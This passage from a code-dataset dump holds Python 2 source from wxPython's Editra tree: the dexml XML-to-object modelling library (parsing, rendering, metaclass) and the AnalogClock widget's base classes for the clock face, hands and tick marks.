attrs:\n self._handle_unparsed_node(attr)\n # Try to consume all child nodes\n if self.meta.order_sensitive:\n self._parse_children_ordered(node,self._fields,fields_found)\n else:\n self._parse_children_unordered(node,self._fields,fields_found)\n # Check that all required fields have been found\n for field in self._fields:\n if field.required and field not in fields_found:\n err = \"required field not found: '%s'\" % (field.field_name,)\n raise ParseError(err)\n field.parse_done(self)\n # All done, return the instance so created\n return self\n\n def _parse_children_ordered(self,node,fields,fields_found):\n \"\"\"Parse the children of the given node using strict field ordering.\"\"\"\n cur_field_idx = 0 \n for child in node.childNodes:\n idx = cur_field_idx\n # If we successfully break out of this loop, one of our\n # fields has consumed the node.\n while idx < len(fields):\n field = fields[idx]\n res = field.parse_child_node(self,child)\n if res is PARSE_DONE:\n if field not in fields_found:\n fields_found.append(field)\n cur_field_idx = idx + 1\n break\n if res is PARSE_MORE:\n if field not in fields_found:\n fields_found.append(field)\n cur_field_idx = idx\n break\n if res is PARSE_CHILDREN:\n self._parse_children_ordered(child,[field],fields_found)\n cur_field_idx = idx\n break\n idx += 1\n else:\n self._handle_unparsed_node(child)\n\n def _parse_children_unordered(self,node,fields,fields_found):\n \"\"\"Parse the children of the given node using loose field ordering.\"\"\"\n done_fields = {}\n for child in node.childNodes:\n idx = 0\n # If we successfully break out of this loop, one of our\n # fields has consumed the node.\n while idx < len(fields):\n if idx in done_fields:\n idx += 1\n continue\n field = fields[idx]\n res = field.parse_child_node(self,child)\n if res is PARSE_DONE:\n done_fields[idx] = True\n if field not in fields_found:\n fields_found.append(field)\n break\n if res is PARSE_MORE:\n if field not in fields_found:\n fields_found.append(field)\n break\n if res is PARSE_CHILDREN:\n self._parse_children_unordered(child,[field],fields_found)\n break\n idx += 1\n else:\n self._handle_unparsed_node(child)\n\n def _handle_unparsed_node(self,node):\n if not self.meta.ignore_unknown_elements:\n if node.nodeType == node.ELEMENT_NODE:\n err = \"unknown element: %s\" % (node.nodeName,)\n raise ParseError(err)\n elif node.nodeType in (node.TEXT_NODE,node.CDATA_SECTION_NODE):\n if node.nodeValue.strip():\n err = \"unparsed text node: %s\" % (node.nodeValue,)\n raise ParseError(err)\n elif node.nodeType == node.ATTRIBUTE_NODE:\n if not node.nodeName.startswith(\"xml\"):\n err = \"unknown attribute: %s\" % (node.name,)\n raise ParseError(err)\n\n def render(self,encoding=None,fragment=False,nsmap=None):\n \"\"\"Produce XML from this model's instance data.\n\n A unicode string will be returned if any of the objects contain\n unicode values; specifying the 'encoding' argument forces generation\n of an ASCII string.\n\n By default a complete XML document is produced, including the\n leading \"<?xml>\" declaration. To generate an XML fragment set\n the 'fragment' argument to True.\n\n The 'nsmap' argument maintains the current stack of namespace\n prefixes used during rendering; it maps each prefix to a list of\n namespaces, with the first item in the list being the current\n namespace for that prefix. This argument should never be given\n directly; it is for internal use by the rendering routines.\n \n \"\"\"\n if nsmap is None:\n nsmap = {}\n data = []\n if not fragment:\n if encoding:\n s = '<?xml version=\"1.0\" encoding=\"%s\" ?>' % (encoding,)\n data.append(s)\n else:\n data.append('<?xml version=\"1.0\" ?>')\n data.extend(self._render(nsmap))\n xml = \"\".join(data)\n if encoding:\n xml = xml.encode(encoding)\n return xml\n\n def _render(self,nsmap):\n \"\"\"Render this model as an XML fragment.\"\"\"\n # Determine opening and closing tags\n pushed_ns = False\n if self.meta.namespace:\n namespace = self.meta.namespace\n prefix = self.meta.namespace_prefix\n try:\n cur_ns = nsmap[prefix]\n except KeyError:\n cur_ns = []\n nsmap[prefix] = cur_ns\n if prefix:\n tagname = \"%s:%s\" % (prefix,self.meta.tagname)\n open_tag_contents = [tagname]\n if not cur_ns or cur_ns[0] != namespace:\n cur_ns.insert(0,namespace)\n pushed_ns = True\n open_tag_contents.append('xmlns:%s=\"%s\"'%(prefix,namespace))\n close_tag_contents = tagname\n else:\n open_tag_contents = [self.meta.tagname]\n if not cur_ns or cur_ns[0] != namespace:\n cur_ns.insert(0,namespace)\n pushed_ns = True\n open_tag_contents.append('xmlns=\"%s\"'%(namespace,))\n close_tag_contents = self.meta.tagname\n else:\n open_tag_contents = [self.meta.tagname] \n close_tag_contents = self.meta.tagname\n # Find the attributes and child nodes\n attrs = []\n children = []\n num = 0\n for f in self._fields:\n val = getattr(self,f.field_name)\n attrs.extend(f.render_attributes(self,val,nsmap))\n children.extend(f.render_children(self,val,nsmap))\n if len(attrs) + len(children) == num and f.required:\n raise RenderError(\"Field '%s' is missing\" % (f.field_name,))\n # Actually construct the XML\n if pushed_ns:\n nsmap[prefix].pop(0)\n open_tag_contents.extend(attrs)\n if children:\n yield \"<%s>\" % (\" \".join(open_tag_contents),)\n for chld in children:\n yield chld\n yield \"</%s>\" % (close_tag_contents,)\n else:\n yield \"<%s />\" % (\" \".join(open_tag_contents),)\n\n @staticmethod\n def _make_xml_node(xml):\n \"\"\"Transform a variety of input formats to an XML DOM node.\"\"\"\n try:\n ntype = xml.nodeType\n except AttributeError:\n if isinstance(xml,basestring):\n try:\n xml = minidom.parseString(xml)\n except Exception, e:\n raise XmlError(e)\n elif hasattr(xml,\"read\"):\n try:\n xml = minidom.parse(xml)\n except Exception, e:\n raise XmlError(e)\n else:\n raise ValueError(\"Can't convert that to an XML DOM node\")\n node = xml.documentElement\n else:\n if ntype == xml.DOCUMENT_NODE:\n node = xml.documentElement\n else:\n node = xml\n return node\n\n @classmethod\n def validate_xml_node(cls,node):\n \"\"\"Check that the given xml node is valid for this object.\n\n Here 'valid' means that it is the right tag, in the right\n namespace. We might add more eventually...\n \"\"\"\n if node.nodeType != node.ELEMENT_NODE:\n err = \"Class '%s' got a non-element node\"\n err = err % (cls.__name__,)\n raise ParseError(err)\n equals = (lambda a, b: a == b) if cls.meta.case_sensitive else (lambda a, b: a.lower() == b.lower())\n if not equals(node.localName, cls.meta.tagname):\n err = \"Class '%s' got tag '%s' (expected '%s')\"\n err = err % (cls.__name__,node.localName,\n cls.meta.tagname)\n raise ParseError(err)\n if cls.meta.namespace:\n if node.namespaceURI != cls.meta.namespace:\n err = \"Class '%s' got namespace '%s' (expected '%s')\"\n err = err % (cls.__name__,node.namespaceURI,\n cls.meta.namespace)\n raise ParseError(err)\n else:\n if node.namespaceURI:\n err = \"Class '%s' got namespace '%s' (expected no namespace)\"\n err = err % (cls.__name__,node.namespaceURI,)\n raise ParseError(err)\n\n\n", "id": "43508", "language": "Python", "matching_score": 4.98121976852417, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/extern/dexml/__init__.py" }, { "content": "\nclass Error(Exception):\n \"\"\"Base exception class for the dexml module.\"\"\"\n pass\n\nclass ParseError(Error):\n \"\"\"Exception raised when XML could not be parsed into objects.\"\"\"\n pass\n\nclass RenderError(Error):\n \"\"\"Exception raised when object could not be rendered into XML.\"\"\"\n pass\n\nclass XmlError(Error):\n \"\"\"Exception raised to encapsulate errors from underlying XML parser.\"\"\"\n pass\n\nclass PARSE_DONE:\n \"\"\"Constant returned by a Field when it has finished parsing.\"\"\"\n pass\nclass PARSE_MORE:\n \"\"\"Constant returned by a Field when it wants additional nodes to parse.\"\"\"\n pass\nclass PARSE_SKIP:\n \"\"\"Constant returned by a Field when it cannot parse the given node.\"\"\"\n pass\nclass PARSE_CHILDREN:\n \"\"\"Constant returned by a Field to parse children from its container tag.\"\"\"\n pass\n\nclass Meta:\n \"\"\"Class holding meta-information about a dexml.Model subclass.\n\n Each dexml.Model subclass has an attribute 'meta' which is an instance\n of this class. That instance holds information about how to model \n corresponds to XML, such as its tagname, namespace, and error handling\n semantics. You would not ordinarily create an instance of this class;\n instead let the ModelMetaclass create one automatically.\n\n These attributes control how the model corresponds to the XML:\n\n * tagname: the name of the tag representing this model\n * namespace: the XML namespace in which this model lives\n\n These attributes control parsing/rendering behaviour:\n\n * namespace_prefix: the prefix to use for rendering namespaced tags\n * ignore_unknown_elements: ignore unknown elements when parsing\n * case_sensitive: match tag/attr names case-sensitively\n * order_sensitive: match child tags in order of field definition\n\n \"\"\"\n\n _defaults = {\"tagname\":None,\n \"namespace\":None,\n \"namespace_prefix\":None,\n \"ignore_unknown_elements\":True,\n \"case_sensitive\":True,\n \"order_sensitive\":True}\n\n def __init__(self,name,meta_attrs):\n for (attr,default) in self._defaults.items():\n setattr(self,attr,meta_attrs.get(attr,default))\n if self.tagname is None:\n self.tagname = name\n\ndef _meta_attributes(meta):\n \"\"\"Extract attributes from a \"meta\" object.\"\"\"\n meta_attrs = {}\n if meta:\n for attr in dir(meta):\n if not attr.startswith(\"_\"):\n meta_attrs[attr] = getattr(meta,attr)\n return meta_attrs\n\nclass ModelMetaclass(type):\n \"\"\"Metaclass for dexml.Model and subclasses.\n\n This metaclass is responsible for introspecting Model class definitions\n and setting up appropriate default behaviours. For example, this metaclass\n sets a Model's default tagname to be equal to the declared class name.\n \"\"\"\n\n instances = {}\n\n def __new__(mcls,name,bases,attrs):\n cls = super(ModelMetaclass,mcls).__new__(mcls,name,bases,attrs)\n # Don't do anything if it's not a subclass of Model\n parents = [b for b in bases if isinstance(b, ModelMetaclass)]\n # HACK\n import fields\n\n if not parents:\n return cls\n # Set up the cls.meta object, inheriting from base classes\n meta_attrs = {}\n for base in bases:\n if isinstance(base,ModelMetaclass) and hasattr(base,\"meta\"):\n meta_attrs.update(_meta_attributes(base.meta))\n meta_attrs.pop(\"tagname\",None)\n meta_attrs.update(_meta_attributes(attrs.get(\"meta\",None)))\n cls.meta = Meta(name,meta_attrs)\n # Create ordered list of field objects, telling each about their\n # name and containing class. Inherit fields from base classes\n # only if not overridden on the class itself.\n base_fields = {}\n for base in bases:\n if not isinstance(base,ModelMetaclass):\n continue\n for field in base._fields:\n if field.field_name not in base_fields:\n field = copy.copy(field)\n field.model_class = cls\n base_fields[field.field_name] = field\n cls_fields = []\n for (name,value) in attrs.iteritems():\n if isinstance(value,fields.Field):\n base_fields.pop(name,None)\n value.field_name = name\n value.model_class = cls\n cls_fields.append(value)\n cls._fields = base_fields.values() + cls_fields\n cls._fields.sort(key=lambda f: f._order_counter)\n # Register the new class so we can find it by name later on\n mcls.instances[(cls.meta.namespace,cls.meta.tagname)] = cls\n return cls\n\n @classmethod\n def find_class(mcls,tagname,namespace=None):\n \"\"\"Find dexml.Model subclass for the given tagname and namespace.\"\"\"\n return mcls.instances.get((namespace,tagname))\n", "id": "9729971", "language": "Python", "matching_score": 0.3392862379550934, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/extern/dexml/_util.py" }, { "content": "# AnalogClock's base classes\n# <NAME> <e.a.tacao |at| estadao.com.br>\n# http://j.domaindlx.com/elements28/wxpython/\n# 15 Fev 2006, 22:00 GMT-03:00\n# Distributed under the wxWidgets license.\n\nfrom time import strftime, localtime\nimport math\nimport wx\n\nfrom styles import *\n\n#----------------------------------------------------------------------\n\n_targets = [HOUR, MINUTE, SECOND]\n\n#----------------------------------------------------------------------\n\nclass Element:\n \"\"\"Base class for face, hands and tick marks.\"\"\"\n\n def __init__(self, idx=0, pos=None, size=None, offset=0, clocksize=None,\n scale=1, rotate=False, kind=\"\"):\n\n self.idx = idx\n self.pos = pos\n self.size = size\n self.offset = offset\n self.clocksize = clocksize\n self.scale = scale\n self.rotate = rotate\n self.kind = kind\n\n self.text = None\n self.angfac = [6, 30][self.kind == \"hours\"]\n\n\n def _pol2rect(self, m, t):\n return m * math.cos(math.radians(t)), m * math.sin(math.radians(t))\n\n\n def _rect2pol(self, x, y):\n return math.hypot(x, y), math.degrees(math.atan2(y, x))\n\n\n def DrawRotated(self, dc, offset=0):\n pass\n\n\n def DrawStraight(self, dc, offset=0):\n pass\n\n\n def Draw(self, dc, offset=0):\n if self.rotate:\n self.DrawRotated(dc, offset)\n else:\n self.DrawStraight(dc, offset)\n\n\n def RecalcCoords(self, clocksize, centre, scale):\n pass\n \n \n def GetSize(self):\n return self.size\n\n\n def GetOffset(self):\n return self.offset\n\n\n def GetIsRotated(self, rotate):\n return self.rotate\n\n\n def GetMaxSize(self, scale=1):\n return self.size * scale\n \n \n def GetScale(self):\n return self.scale\n\n\n def SetIsRotated(self, rotate):\n self.rotate = rotate\n\n\n def GetMaxSize(self, scale=1):\n return self.size * scale\n\n\n def GetPolygon(self):\n return self.polygon\n\n\n def SetPosition(self, pos):\n self.pos = pos\n\n\n def SetSize(self, size):\n self.size = size\n\n\n def SetOffset(self, offset):\n self.offset = offset\n\n\n def SetClockSize(self, clocksize):\n self.clocksize = clocksize\n\n\n def SetScale(self, scale):\n self.scale = scale\n\n\n def SetIsRotated(self, rotate):\n self.rotate = rotate\n\n\n def SetPolygon(self, polygon):\n self.polygon = polygon\n\n#----------------------------------------------------------------------\n\nclass ElementWithDyer(Element):\n \"\"\"Base class for clock face and hands.\"\"\"\n\n def __init__(self, **kwargs):\n self.dyer = kwargs.pop(\"dyer\", Dyer())\n Element.__init__(self, **kwargs)\n\n\n def GetFillColour(self):\n return self.dyer.GetFillColour()\n\n\n def GetBorderColour(self):\n return self.dyer.GetBorderColour()\n\n\n def GetBorderWidth(self):\n return self.dyer.GetBorderWidth()\n\n\n def GetShadowColour(self):\n return self.dyer.GetShadowColour()\n\n \n def SetFillColour(self, colour):\n self.dyer.SetFillColour(colour)\n\n\n def SetBorderColour(self, colour):\n self.dyer.SetBorderColour(colour)\n\n\n def SetBorderWidth(self, width):\n self.dyer.SetBorderWidth(width)\n \n \n def SetShadowColour(self, colour):\n self.dyer.SetShadowColour(colour)\n\n#----------------------------------------------------------------------\n\nclass Face(ElementWithDyer):\n \"\"\"Holds info about the clock face.\"\"\"\n\n def __init__(self, **kwargs):\n ElementWithDyer.__init__(self, **kwargs)\n\n\n def Draw(self, dc):\n self.dyer.Select(dc)\n dc.DrawCircle(self.pos.x, self.pos.y, self.radius)\n\n\n def RecalcCoords(self, clocksize, centre, scale):\n self.radius = min(clocksize.Get()) / 2. - self.dyer.width / 2.\n self.pos = centre\n\n#----------------------------------------------------------------------\n\nclass Hand(ElementWithDyer):\n \"\"\"Holds info about a clock hand.\"\"\"\n\n def __init__(self, **kwargs):\n self.lenfac = kwargs.pop(\"lenfac\")\n ElementWithDyer.__init__(self, **kwargs)\n\n self.SetPolygon([[-1, 0], [0, -1], [1, 0], [0, 4]])\n\n\n def Draw(self, dc, end, offset=0):\n radius, centre, r = end\n angle = math.degrees(r)\n polygon = self.polygon[:]\n vscale = radius / max([y for x, y in polygon])\n\n for i, (x, y) in enumerate(polygon):\n x *= self.scale * self.size\n y *= vscale * self.lenfac\n m, t = self._rect2pol(x, y)\n polygon[i] = self._pol2rect(m, t - angle)\n\n dc.DrawPolygon(polygon, centre.x + offset, centre.y + offset)\n\n\n def RecalcCoords(self, clocksize, centre, scale):\n self.pos = centre\n self.scale = scale\n\n#----------------------------------------------------------------------\n\nclass TickSquare(Element):\n \"\"\"Holds info about a tick mark.\"\"\"\n\n def __init__(self, **kwargs):\n Element.__init__(self, **kwargs)\n\n\n def Draw(self, dc, offset=0):\n width = height = self.size * self.scale\n x = self.pos.x - width / 2.\n y = self.pos.y - height / 2.\n\n dc.DrawRectangle(x + offset, y + offset, width, height)\n\n#----------------------------------------------------------------------\n\nclass TickCircle(Element):\n \"\"\"Holds info about a tick mark.\"\"\"\n\n def __init__(self, **kwargs):\n Element.__init__(self, **kwargs)\n\n\n def Draw(self, dc, offset=0):\n radius = self.size * self.scale / 2.\n x = self.pos.x\n y = self.pos.y\n\n dc.DrawCircle(x + offset, y + offset, radius)\n\n#----------------------------------------------------------------------\n\nclass TickPoly(Element):\n \"\"\"Holds info about a tick mark.\"\"\"\n\n def __init__(self, **kwargs):\n Element.__init__(self, **kwargs)\n\n self.SetPolygon([[0, 1], [1, 0], [2, 1], [1, 5]])\n\n\n def _calcPolygon(self):\n width = max([x for x, y in self.polygon])\n height = max([y for x, y in self.polygon])\n tscale = self.size / max(width, height) * self.scale\n polygon = [(x * tscale, y * tscale) for x, y in self.polygon]\n\n width = max([x for x, y in polygon])\n height = max([y for x, y in polygon])\n \n return polygon, width, height\n\n\n def DrawStraight(self, dc, offset=0):\n polygon, width, height = self._calcPolygon()\n\n x = self.pos.x - width / 2.\n y = self.pos.y - height / 2.\n\n dc.DrawPolygon(polygon, x + offset, y + offset)\n\n\n def DrawRotated(self, dc, offset=0):\n polygon, width, height = self._calcPolygon()\n\n angle = 360 - self.angfac * (self.idx + 1)\n r = math.radians(angle)\n\n for i in range(len(polygon)):\n m, t = self._rect2pol(*polygon[i])\n t -= angle\n polygon[i] = self._pol2rect(m, t)\n\n x = self.pos.x - math.cos(r) * width / 2. - math.sin(r) * height / 2.\n y = self.pos.y - math.cos(r) * height / 2. + math.sin(r) * width / 2.\n\n dc.DrawPolygon(polygon, x + offset, y + offset)\n\n#----------------------------------------------------------------------\n\nclass TickDecimal(Element):\n \"\"\"Holds info about a tick mark.\"\"\"\n\n def __init__(self, **kwargs):\n Element.__init__(self, **kwargs)\n\n self.text = \"%s\" % (self.idx + 1)\n\n\n def DrawStraight(self, dc, offset=0):\n width, height = dc.GetTextExtent(self.text)\n\n x = self.pos.x - width / 2.\n y = self.pos.y - height / 2.\n\n dc.DrawText(self.text, x + offset, y + offset)\n\n\n def DrawRotated(self, dc, offset=0):\n width, height = dc.GetTextExtent(self.text)\n\n angle = 360 - self.angfac * (self.idx + 1)\n r = math.radians(angle)\n\n x = self.pos.x - math.cos(r) * width / 2. - math.sin(r) * height / 2.\n y = self.pos.y - math.cos(r) * height / 2. + math.sin(r) * width / 2.\n\n dc.DrawRotatedText(self.text, x + offset, y + offset, angle)\n\n\n#----------------------------------------------------------------------\n\nclass TickRoman(TickDecimal):\n \"\"\"Holds info about a tick mark.\"\"\"\n\n def __init__(self, **kwargs):\n TickDecimal.__init__(self, **kwargs)\n\n self.text = [\"I\",\"II\",\"III\",\"IV\",\"V\", \\\n \"VI\",\"VII\",\"VIII\",\"IX\",\"X\", \\\n \"XI\",\"XII\",\"XIII\",\"XIV\",\"XV\", \\\n \"XVI\",\"XVII\",\"XVIII\",\"XIX\",\"XX\", \\\n \"XXI\",\"XXII\",\"XXIII\",\"XXIV\",\"XXV\", \\\n \"XXVI\",\"XXVII\",\"XXVIII\",\"XXIX\",\"XXX\", \\\n \"XXXI\",\"XXXII\",\"XXXIII\",\"XXXIV\",\"XXXV\", \\\n \"XXXVI\",\"XXXVII\",\"XXXVIII\",\"XXXIX\",\"XL\", \\\n \"XLI\",\"XLII\",\"XLIII\",\"XLIV\",\"XLV\", \\\n \"XLVI\",\"XLVII\",\"XLVIII\",\"XLIX\",\"L\", \\\n \"LI\",\"LII\",\"LIII\",\"LIV\",\"LV\", \\\n \"LVI\",\"LVII\",\"LVIII\",\"LIX\",\"LX\"][self.idx]\n\n#----------------------------------------------------------------------\n\nclass TickBinary(TickDecimal):\n \"\"\"Holds info about a tick mark.\"\"\"\n\n def __init__(self, **kwargs):\n TickDecimal.__init__(self, **kwargs)\n\n def d2b(n, b=\"\"):\n while n > 0:\n b = str(n % 2) + b; n = n >> 1\n return b.zfill(4)\n\n self.text = d2b(self.idx + 1)\n\n#----------------------------------------------------------------------\n\nclass TickHex(TickDecimal):\n \"\"\"Holds info about a tick mark.\"\"\"\n\n def __init__(self, **kwargs):\n TickDecimal.__init__(self, **kwargs)\n\n self.text = hex(self.idx + 1)[2:].upper()\n\n#----------------------------------------------------------------------\n\nclass TickNone(Element):\n \"\"\"Holds info about a tick mark.\"\"\"\n\n def __init__(self, **kwargs):\n Element.__init__(self, **kwargs)\n\n\n def Draw(self, dc, offset=0):\n pass\n \n#----------------------------------------------------------------------\n\nclass Dyer:\n \"\"\"Stores info about colours and borders of clock Elements.\"\"\"\n\n def __init__(self, border=None, width=0, fill=None, shadow=None):\n \"\"\"\n self.border (wx.Colour) border colour\n self.width (int) border width\n self.fill (wx.Colour) fill colour\n self.shadow (wx.Colour) shadow colour\n \"\"\"\n\n self.border = border or \\\n wx.SystemSettings.GetColour(wx.SYS_COLOUR_WINDOWTEXT)\n self.fill = fill or \\\n wx.SystemSettings.GetColour(wx.SYS_COLOUR_WINDOWTEXT)\n self.shadow = shadow or \\\n wx.SystemSettings.GetColour(wx.SYS_COLOUR_3DSHADOW)\n self.width = width\n\n\n def Select(self, dc, shadow=False):\n \"\"\"Selects the current settings into the dc.\"\"\"\n\n if not shadow:\n dc.SetPen(wx.Pen(self.border, self.width, wx.SOLID))\n dc.SetBrush(wx.Brush(self.fill, wx.SOLID))\n dc.SetTextForeground(self.fill)\n else:\n dc.SetPen(wx.Pen(self.shadow, self.width, wx.SOLID))\n dc.SetBrush(wx.Brush(self.shadow, wx.SOLID))\n dc.SetTextForeground(self.shadow)\n\n\n def GetFillColour(self):\n return self.fill\n\n\n def GetBorderColour(self):\n return self.border\n\n\n def GetBorderWidth(self):\n return self.width\n\n\n def GetShadowColour(self):\n return self.shadow\n\n\n def SetFillColour(self, colour):\n self.fill = colour\n\n\n def SetBorderColour(self, colour):\n self.border = colour\n\n\n def SetBorderWidth(self, width):\n self.width = width\n\n\n def SetShadowColour(self, colour):\n self.shadow = colour\n\n#----------------------------------------------------------------------\n\nclass HandSet:\n \"\"\"Manages the set of hands.\"\"\"\n\n def __init__(self, parent, h, m, s):\n self.parent = parent\n\n self.hands = [h, m, s]\n self.radius = 1\n self.centre = wx.Point(1, 1)\n\n\n def _draw(self, dc, shadow=False):\n ends = [int(x) for x in strftime(\"%I %M %S\", localtime()).split()]\n\n flags = [self.parent.clockStyle & flag \\\n for flag in self.parent.allHandStyles]\n\n a_hand = self.hands[0]\n\n if shadow:\n offset = self.parent.shadowOffset * a_hand.GetScale()\n else:\n offset = 0\n\n for i, hand in enumerate(self.hands):\n # Is this hand supposed to be drawn?\n if flags[i]:\n idx = ends[i]\n # Is this the hours hand?\n if i == 0:\n idx = idx * 5 + ends[1] / 12 - 1\n # else prevent exceptions on leap seconds\n elif idx <= 0 or idx > 60:\n idx = 59\n # and adjust idx offset for minutes and non-leap seconds \n else:\n idx = idx - 1\n angle = math.radians(180 - 6 * (idx + 1))\n\n hand.dyer.Select(dc, shadow)\n hand.Draw(dc, (self.radius, self.centre, angle), offset)\n\n\n def Draw(self, dc):\n if self.parent.clockStyle & SHOW_SHADOWS:\n self._draw(dc, True)\n self._draw(dc)\n\n\n def RecalcCoords(self, clocksize, centre, scale):\n self.centre = centre\n [hand.RecalcCoords(clocksize, centre, scale) for hand in self.hands]\n\n\n def SetMaxRadius(self, radius):\n self.radius = radius\n\n\n def GetSize(self, target):\n r = []\n for i, hand in enumerate(self.hands):\n if _targets[i] & target:\n r.append(hand.GetSize())\n return tuple(r)\n\n\n def GetFillColour(self, target):\n r = []\n for i, hand in enumerate(self.hands):\n if _targets[i] & target:\n r.append(hand.GetFillColour())\n return tuple(r)\n\n\n def GetBorderColour(self, target):\n r = []\n for i, hand in enumerate(self.hands):\n if _targets[i] & target:\n r.append(hand.GetBorderColour())\n return tuple(r)\n\n\n def GetBorderWidth(self, target):\n r = []\n for i, hand in enumerate(self.hands):\n if _targets[i] & target:\n r.append(hand.GetBorderWidth())\n return tuple(r)\n\n\n def GetShadowColour(self):\n r = []\n for i, hand in enumerate(self.hands):\n if _targets[i] & target:\n r.append(hand.GetShadowColour())\n return tuple(r)\n\n\n def SetSize(self, size, target):\n for i, hand in enumerate(self.hands):\n if _targets[i] & target:\n hand.SetSize(size)\n\n\n def SetFillColour(self, colour, target):\n for i, hand in enumerate(self.hands):\n if _targets[i] & target:\n hand.SetFillColour(colour)\n\n\n def SetBorderColour(self, colour, target):\n for i, hand in enumerate(self.hands):\n if _targets[i] & target:\n hand.SetBorderColour(colour)\n\n\n def SetBorderWidth(self, width, target):\n for i, hand in enumerate(self.hands):\n if _targets[i] & target:\n hand.SetBorderWidth(width)\n\n\n def SetShadowColour(self, colour):\n for i, hand in enumerate(self.hands):\n hand.SetShadowColour(colour)\n\n#----------------------------------------------------------------------\n\nclass TickSet:\n \"\"\"Manages a set of tick marks.\"\"\"\n\n def __init__(self, parent, **kwargs):\n self.parent = parent\n self.dyer = Dyer()\n self.noe = {\"minutes\": 60, \"hours\": 12}[kwargs[\"kind\"]]\n self.font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT)\n\n style = kwargs.pop(\"style\")\n self.kwargs = kwargs\n self.SetStyle(style)\n\n\n def _draw(self, dc, shadow=False):\n dc.SetFont(self.font)\n \n a_tick = self.ticks[0]\n\n if shadow:\n offset = self.parent.shadowOffset * a_tick.GetScale()\n else:\n offset = 0\n\n clockStyle = self.parent.clockStyle\n\n for idx, tick in self.ticks.items():\n draw = False\n\n # Are we a set of hours?\n if self.noe == 12:\n # Should we show all hours ticks?\n if clockStyle & SHOW_HOURS_TICKS:\n draw = True\n # Or is this tick a quarter and should we show only quarters?\n elif clockStyle & SHOW_QUARTERS_TICKS and not (idx + 1) % 3.:\n draw = True\n # Are we a set of minutes and minutes should be shown?\n elif self.noe == 60 and clockStyle & SHOW_MINUTES_TICKS:\n # If this tick occupies the same position of an hour/quarter\n # tick, should we still draw it anyway?\n if clockStyle & OVERLAP_TICKS:\n draw = True\n # Right, sir. I promise I won't overlap any tick.\n else:\n # Ensure that this tick won't overlap an hour tick.\n if clockStyle & SHOW_HOURS_TICKS:\n if (idx + 1) % 5.:\n draw = True\n # Ensure that this tick won't overlap a quarter tick.\n elif clockStyle & SHOW_QUARTERS_TICKS:\n if (idx + 1) % 15.:\n draw = True\n # We're not drawing quarters nor hours, so we can draw all\n # minutes ticks.\n else:\n draw = True\n\n if draw:\n tick.Draw(dc, offset)\n\n\n def Draw(self, dc):\n if self.parent.clockStyle & SHOW_SHADOWS:\n self.dyer.Select(dc, True)\n self._draw(dc, True)\n self.dyer.Select(dc)\n self._draw(dc)\n\n\n def RecalcCoords(self, clocksize, centre, scale):\n a_tick = self.ticks[0]\n\n size = a_tick.GetMaxSize(scale)\n maxsize = size\n\n # Try to find a 'good' max size for text-based ticks.\n if a_tick.text is not None:\n self.font.SetPointSize(size)\n dc = wx.MemoryDC()\n dc.SelectObject(wx.EmptyBitmap(*clocksize.Get()))\n dc.SetFont(self.font)\n maxsize = size\n for tick in self.ticks.values():\n maxsize = max(*(dc.GetTextExtent(tick.text) + (maxsize,)))\n\n radius = self.radius = min(clocksize.Get()) / 2. - \\\n self.dyer.width / 2. - \\\n maxsize / 2. - \\\n a_tick.GetOffset() * scale - \\\n self.parent.shadowOffset * scale\n\n # If we are a set of hours, the number of elements of this tickset is \n # 12 and ticks are separated by a distance of 30 degrees;\n # if we are a set of minutes, the number of elements of this tickset is\n # 60 and ticks are separated by a distance of 6 degrees.\n angfac = [6, 30][self.noe == 12]\n\n for i, tick in self.ticks.items():\n tick.SetClockSize(clocksize)\n tick.SetScale(scale)\n\n deg = 180 - angfac * (i + 1)\n angle = math.radians(deg)\n\n x = centre.x + radius * math.sin(angle)\n y = centre.y + radius * math.cos(angle)\n\n tick.SetPosition(wx.Point(x, y))\n\n\n def GetSize(self):\n return self.kwargs[\"size\"]\n\n\n def GetFillColour(self):\n return self.dyer.GetFillColour()\n\n\n def GetBorderColour(self):\n return self.dyer.GetBorderColour()\n\n\n def GetBorderWidth(self):\n return self.dyer.GetBorderWidth()\n\n\n def GetPolygon(self):\n a_tick = self.ticks.values()[0]\n return a_tick.GetPolygon()\n\n\n def GetFont(self):\n return self.font\n\n\n def GetOffset(self):\n a_tick = self.ticks[0]\n return a_tick.GetOffset()\n\n\n def GetShadowColour(self):\n return self.dyer.GetShadowColour()\n\n\n def GetIsRotated(self):\n a_tick = self.ticks[0]\n return a_tick.GetIsRotated()\n\n\n def GetStyle(self):\n return self.style\n\n\n def SetSize(self, size):\n self.kwargs[\"size\"] = size\n [tick.SetSize(size) for tick in self.ticks.values()]\n\n\n def SetFillColour(self, colour):\n self.dyer.SetFillColour(colour)\n\n\n def SetBorderColour(self, colour):\n self.dyer.SetBorderColour(colour)\n\n\n def SetBorderWidth(self, width):\n self.dyer.SetBorderWidth(width)\n\n\n def SetPolygon(self, polygon):\n [tick.SetPolygon(polygon) for tick in self.ticks.values()]\n\n\n def SetFont(self, font):\n self.font = font\n\n\n def SetOffset(self, offset):\n self.kwargs[\"offset\"] = offset\n [tick.SetOffset(offset) for tick in self.ticks.values()]\n\n\n def SetShadowColour(self, colour):\n self.dyer.SetShadowColour(colour)\n\n\n def SetIsRotated(self, rotate):\n self.kwargs[\"rotate\"] = rotate\n [tick.SetIsRotated(rotate) for tick in self.ticks.values()]\n\n\n def SetStyle(self, style):\n self.style = style\n tickclass = allTickStyles[style]\n self.kwargs[\"rotate\"] = self.parent.clockStyle & ROTATE_TICKS\n\n self.ticks = {}\n for i in range(self.noe):\n self.kwargs[\"idx\"] = i\n self.ticks[i] = tickclass(**self.kwargs)\n\n#----------------------------------------------------------------------\n\nclass Box:\n \"\"\"Gathers info about the clock face and tick sets.\"\"\"\n\n def __init__(self, parent, Face, TicksM, TicksH):\n self.parent = parent\n self.Face = Face\n self.TicksH = TicksH\n self.TicksM = TicksM\n\n\n def GetNiceRadiusForHands(self, centre):\n a_tick = self.TicksM.ticks[0]\n scale = a_tick.GetScale()\n bw = max(self.TicksH.dyer.width / 2. * scale,\n self.TicksM.dyer.width / 2. * scale)\n\n mgt = self.TicksM.ticks[59]\n my = mgt.pos.y + mgt.GetMaxSize(scale) + bw\n\n hgt = self.TicksH.ticks[11]\n hy = hgt.pos.y + hgt.GetMaxSize(scale) + bw\n\n niceradius = centre.y - max(my, hy)\n return niceradius\n\n\n def Draw(self, dc):\n [getattr(self, attr).Draw(dc) \\\n for attr in [\"Face\", \"TicksM\", \"TicksH\"]]\n\n\n def RecalcCoords(self, size, centre, scale):\n [getattr(self, 